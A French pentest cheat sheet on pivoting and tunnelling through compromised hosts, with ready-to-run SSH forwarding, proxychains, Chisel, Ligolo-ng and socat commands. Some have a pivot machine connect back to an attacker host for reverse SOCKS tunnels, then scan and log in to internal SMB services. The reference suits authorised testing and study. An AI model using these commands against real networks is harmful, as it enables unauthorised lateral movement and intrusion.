#SSH
# Local : le port local pointe vers un service interne
ssh -L 8080:internal.corp:80 user@jump.host
# Distant : exposer un service local sur la machine distante
ssh -R 9001:127.0.0.1:9001 user@jump.host
# Dynamic : proxy SOCKS5
ssh -D 1080 -N -f user@jump.host
# Rebond multi-sauts
ssh -J user@jump1,user@jump2 -L 8080:db.internal:5432 user@jump2
# proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080
# Utilisation
proxychains4 nmap -sT -Pn -p 22,80,445 10.10.20.10
#Chisel
# Serveur (attaquant)
chisel server --reverse --port 8080
# Client (pivot)
chisel client 10.10.10.20:8080 R:socks
# Port forwarding inverse : 10.10.20.10:445 → localhost:4455
chisel client 10.10.10.20:8080 R:4455:10.10.20.10:445
# proxychains vers le SOCKS chisel (défaut 1080)
proxychains4 nxc smb 10.10.20.10 -u user -p 'Password'
#Ligolo-ng
# Proxy (attaquant) — binaire "proxy" dans les releases ligolo-ng
./proxy -selfcert -laddr 0.0.0.0:11601
# Agent (pivot) — binaire "agent"
./agent -connect 10.10.10.20:11601 -ignore-cert
# Console ligolo
session
ifconfig
start
# Ajouter la route vers le réseau interne
ip route add 10.10.20.0/24 dev ligolo
Ligolo donne une interface réseau virtuelle : nmap, curl et les outils classiques fonctionnent sans proxychains.
#Socat et relais simples
# Relais TCP local
socat TCP-LISTEN:8080,fork TCP:internal.corp:80
# Relais avec TLS
socat TCP-LISTEN:8443,fork,reuseaddr OPENSSL:internal.corp:443
# Exposer un service local via un pivot compromise
socat TCP-LISTEN:9000,fork TCP:127.0.0.1:9000
#Double pivot
Attaquant → jump1 (10.10.10.5) → jump2 (10.10.20.5) → cible (10.10.30.10)
# 1. SOCKS sur jump1
ssh -D 1080 -N -f user@10.10.10.5
# 2. Depuis jump1, tunnel vers jump2
ssh -L 2222:10.10.20.5:22 user@10.10.20.5
# 3. Chaîner un second proxy
ssh -D 1081 -N -f -p 2222 user@127.0.0.1
#Choisir
| Situation | Outil |
|---|---|
| SSH disponible | ssh -L/-R/-D |
| Pas de SSH, binaire unique | chisel |
| Besoin d'une interface réseau | ligolo-ng |
| Relais simple | socat |
| Trafic HTTP uniquement | httptunnel, websocket |